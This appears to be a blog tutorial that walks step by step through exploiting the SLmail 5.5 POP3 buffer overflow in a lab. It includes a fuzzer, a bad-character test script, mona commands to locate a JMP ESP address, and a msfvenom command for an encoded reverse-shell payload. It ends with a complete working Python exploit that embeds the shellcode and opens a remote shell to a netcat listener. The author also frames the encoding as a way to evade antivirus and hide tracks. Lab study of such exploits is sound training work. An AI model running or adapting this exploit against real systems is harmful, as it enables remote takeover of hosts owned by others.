Press "Enter" to skip to content

SLmail 5.5 Buffer Overflow

This post will explain and include steps on how to manually overflow the vulnerable application located here at Exploit DB.

In my specific environment, my Windows VM is located at 192.168.80.128, and my Kali Linux machine is located at 192.168.80.129. I am also using Immunity Debugger located here. In some scenarios below, I am attaching the debugger to the SLmail process to view how the program is crashing, and to find any other interesting information. I will also use the mona.py Immunity Debugger module located here to further leverage the debugger.

If you are unfamiliar with Immunity Debugger and how to attach it to a process, you can do the following. First, run the vulnerable application, such as SLmail. Then inside the debugger, navigate to the File menu, and select attach (Ctrl + F1). Then press the run button (F9) to allow the program to continue normal execution.

Fuzz

First, we need to figure out at what point SLmail will crash, when we send it data. The following fuzzer script can be used to determine how many characters will need to be sent before SLmail crashes.

#!/usr/bin/python
import time, struct, sys
import socket as so

buff=["A"]

max_buffer = 4000

counter = 100

increment = 200


while len(buff) <= max_buffer:
    buff.append("A"*counter)
    counter=counter+increment

for string in buff:
     try:
        server = str(sys.argv[1])
        port = int(sys.argv[2])
     except IndexError:
        print "[+] Usage example: python %s 192.168.132.5 110" % sys.argv[0]
        sys.exit()   
     print "[+] Attempting to crash SLmail at %s bytes" % len(string)
     s = so.socket(so.AF_INET, so.SOCK_STREAM)
     try:
        s.connect((server,port))
        s.recv(1024)
        s.send('USER pef3ct\r\n')
        s.recv(1023)
        s.send('PASS ' + string + '\r\n')
        s.send('QUIT\r\n')
        s.close()
     except: 
        print "[+] Connection failed. Make sure IP/port are correct, or check debugger for SLmail crash."
        sys.exit()
[1] Fuzzing the SLmail application.

We can see that the fuzzer script attempted to send a buffer containing 2900 ‘A’s, but it was not successful. Therefore the last successful attempt was at buffer length 2700, which caused the application to crash. we can also verify this inside the debugger.

[2] Verifying the crash in Immunity Debugger

We can see in Immunity Debugger, that the EIP has been overwritten with “41414141” which is the hexadecimal equivalent of the ASCII ‘A’. We can also then note that the ESP has been overwritten with a large amount of ‘A’s. This will be useful later, as we will be storing our shellcode inside the ESP.

Control the EIP

We now need to find out at exactly what point the EIP becomes overwritten, so that we can then control where it goes. Creating a unique pattern of size 2700 will allow us to do exactly that. We can use the pattern_create.rb script inside Kali to create this.

# -l flag for length
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700

Once we have generated this unique pattern, we can add it to our script. Next, start the vulnerable application again, attach Immunity Debugger to the process, and then send the python script containing our pattern.

[3] Immunity Debugger view, of the EIP being overwritten with our pattern.

We can see that the EIP has been overwritten with the value “39694438”. We can use the script pattern_offset.rb inside our Kali machine, in order to figure out exactly, at what point the EIP is being overwritten. We successfully get a hit at offset 2606.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438
[4] We’ve got a hit at 2606!

Any bad characters?

Since we now know exactly where the EIP becomes overwritten, and before we can add our shellcode, we need to see if there are any bad characters that are not rendered correctly by the program, and therefore should not be used in our shellcode. The following is a list of all possible characters, except for \x00, which should always be considered a bad character.

"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

So our new script would look like this:

#!/usr/bin/python

import time, struct, sys
import socket as so

baddies=(
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

buffer = "A" * 2606 + "B" * 4 + baddies

try:
   server = str(sys.argv[1])
   port = int(sys.argv[2])
except IndexError:
   print "[+] Usage example: python %s 192.168.132.5 110" % sys.argv[0]
   sys.exit()

s = so.socket(so.AF_INET, so.SOCK_STREAM)
print "\n[+] Attempting to send buffer overflow to SLmail...."
try:
   s.connect((server,port))
   s.recv(1024)
   s.send('USER perf3ct' +'\r\n')
   s.recv(1024)
   s.send('PASS ' + buffer + '\r\n')
   print "\n[+] Completed."
except:
   print "[+] Unable to connect to SLmail. Check your IP address and port"
   sys.exit()

After running the updated python script against the vulnerable application, we can follow the ESP inside of Immunity Debugger to see what characters did not render properly.

[5] Looks like 0A is a bad char…

So we remove the character “\x0a” from our list of bad characters, and take note of it. We then restart the application, reattach Immunity Debugger, the whole nine yards again. Sending the updated bad characters list against the vulnerable application, the ESP Dump now looks like the following:

[6] Looks like 0D is skipped, and is therefore a bad character.

We now also remove “\x0d” from the list of bad characters, and take note of it. After restarting the vulnerable application again, and running the updated python script, we see that there are no other bad characters.

Just to summarize what we have so far – we know the exact offset of the EIP, and know all the bad characters of which we will avoid.

Finding the JMP ESP instruction

We need to find the location of a JMP ESP instruction, so that the program will execute our shellcode. Thankfully this program has a .dll file that does not have ASLR enabled, so addresses will not be randomized. We can use metasploit’s nasm shell to quickly figure out what the opcode equivalent of JMP ESP is equal to. In this case, it is FFE4, or ‘\xff\xe4’ in opcode.

Now we can use the mona to search for vulnerable modules.

!mona modules
[7] Output of mona.py inside of the debugger, looking at modules

To have the EIP reliably return to the ESP, and therefore execute our shellcode, we need to find both a module with relaxed security, and for said module to have a “JMP ESP” instruction. We would prefer that the module was ‘FALSE’ in all categories (except OS Dll). SLMFC.dll fits these parameters, allowing us to reliably execute our shellcode. We can run the following command to look for the “JMP ESP” instruction inside the SLMFC.dll.

!mona find -s '\xff\xe4' -m slmfc.dll
[8] Looking for the JMP ESP instruction inside of the slmfc.dll, using mona.py

We see that there are quite a few different address that we can use in order to execute our payload located at the ESP. I will just be selecting a random one from the list shown in [8].

Crafting that delicious payload

We now have everything we need to successfully exploit the vulnerable application. We have the exact offset of the EIP, we know what bad characters to avoid, and we know the address of a JMP ESP instruction that will never change. Therefore, we can reliably exploit the target.

We will create the shellcode using msfvenom, which is installed by default on Kali linux, and allows us to create a custom payload. The following command can be used to create your shellcode, with of course replacing the LHOST and LPORT with your own. We will also be using the encoder shikata ga nai, in order to provide some light protection against antivirus that may be running on the computer, and slightly hide our tracks.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.80.129 LPORT=443 -f py -b '\x00\x0a\x0d' -e x86/shikata_ga_nai
[9] Our custom shellcode payload.

With all the pieces we need now assembled, we can finally execute the python script against the host. We will be using a non-operation opcode ‘sled’ so that EIP will execute our shellcode, after it has jumped to the ESP location.

#!/usr/bin/python
# coding=utf-8

import time, struct, sys
import socket as so

#Fuzz to the EIP, as offset is exactly 2606
achars = ('A' * 2606)

#JMP ESP address is 5F4A358F, little-endian format, so backwards
jmpesp = '\x8f\x35\x4a\x5f'

#NOP Sled - so that the EIP slides down to our malicious
#code after the 'JMP ESP' instruction
nops = ('\x90' * 16)

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.80.129 LPORT=443 -f py -b '\x00\x0a\x0d' -e x86/shikata_ga_nai -o /opt/BoF/slmail/slmailsploits/final-exploit.py
buf =  ""
buf += "\xba\x73\xbe\x2f\xbe\xda\xc8\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x52\x31\x50\x12\x83\xe8\xfc\x03\x23\xb0\xcd"
buf += "\x4b\x3f\x24\x93\xb4\xbf\xb5\xf4\x3d\x5a\x84\x34\x59"
buf += "\x2f\xb7\x84\x29\x7d\x34\x6e\x7f\x95\xcf\x02\xa8\x9a"
buf += "\x78\xa8\x8e\x95\x79\x81\xf3\xb4\xf9\xd8\x27\x16\xc3"
buf += "\x12\x3a\x57\x04\x4e\xb7\x05\xdd\x04\x6a\xb9\x6a\x50"
buf += "\xb7\x32\x20\x74\xbf\xa7\xf1\x77\xee\x76\x89\x21\x30"
buf += "\x79\x5e\x5a\x79\x61\x83\x67\x33\x1a\x77\x13\xc2\xca"
buf += "\x49\xdc\x69\x33\x66\x2f\x73\x74\x41\xd0\x06\x8c\xb1"
buf += "\x6d\x11\x4b\xcb\xa9\x94\x4f\x6b\x39\x0e\xab\x8d\xee"
buf += "\xc9\x38\x81\x5b\x9d\x66\x86\x5a\x72\x1d\xb2\xd7\x75"
buf += "\xf1\x32\xa3\x51\xd5\x1f\x77\xfb\x4c\xfa\xd6\x04\x8e"
buf += "\xa5\x87\xa0\xc5\x48\xd3\xd8\x84\x04\x10\xd1\x36\xd5"
buf += "\x3e\x62\x45\xe7\xe1\xd8\xc1\x4b\x69\xc7\x16\xab\x40"
buf += "\xbf\x88\x52\x6b\xc0\x81\x90\x3f\x90\xb9\x31\x40\x7b"
buf += "\x39\xbd\x95\x2c\x69\x11\x46\x8d\xd9\xd1\x36\x65\x33"
buf += "\xde\x69\x95\x3c\x34\x02\x3c\xc7\xdf\xed\x69\x97\x9e"
buf += "\x86\x6b\x17\xa0\xed\xe5\xf1\xc8\x01\xa0\xaa\x64\xbb"
buf += "\xe9\x20\x14\x44\x24\x4d\x16\xce\xcb\xb2\xd9\x27\xa1"
buf += "\xa0\x8e\xc7\xfc\x9a\x19\xd7\x2a\xb2\xc6\x4a\xb1\x42"
buf += "\x80\x76\x6e\x15\xc5\x49\x67\xf3\xfb\xf0\xd1\xe1\x01"
buf += "\x64\x19\xa1\xdd\x55\xa4\x28\x93\xe2\x82\x3a\x6d\xea"
buf += "\x8e\x6e\x21\xbd\x58\xd8\x87\x17\x2b\xb2\x51\xcb\xe5"
buf += "\x52\x27\x27\x36\x24\x28\x62\xc0\xc8\x99\xdb\x95\xf7"
buf += "\x16\x8c\x11\x80\x4a\x2c\xdd\x5b\xcf\x5c\x94\xc1\x66"
buf += "\xf5\x71\x90\x3a\x98\x81\x4f\x78\xa5\x01\x65\x01\x52"
buf += "\x19\x0c\x04\x1e\x9d\xfd\x74\x0f\x48\x01\x2a\x30\x59"

overflow = achars + jmpesp + nops + buf

try:
   server = str(sys.argv[1])
   port = int(sys.argv[2])
except IndexError:
   print "[+] Usage example: python %s 192.168.132.5 110" % sys.argv[0]
   print "Make sure to set up a listener. Example: nc -nlvp 443"
   sys.exit()

s = so.socket(so.AF_INET, so.SOCK_STREAM)
print "\n[+] Attempting to send buffer overflow to SLmail...."
try:
   s.connect((server,port))
   s.recv(1024)
   s.send('USER perf3ct' +'\r\n')
   s.recv(1024)
   s.send('PASS ' + overflow + '\r\n')
   print "\n[+] Completed. Check listener for shell."
   print ("\033[1;32;48m")
except:
   print "[+] Unable to connect to SLmail. Check your IP address and port"
   sys.exit()

We need to set up a netcat listener. For this example, we will be listening on port 443, which the exploit will be connecting to, as defined in the shellcode we created earlier.

#Listen on port 443 using netcat
nc -nlvp 443

Success

After sending the updated python script against the vulnerable application, we are able to get a connection back from the vulnerable target, as the root user.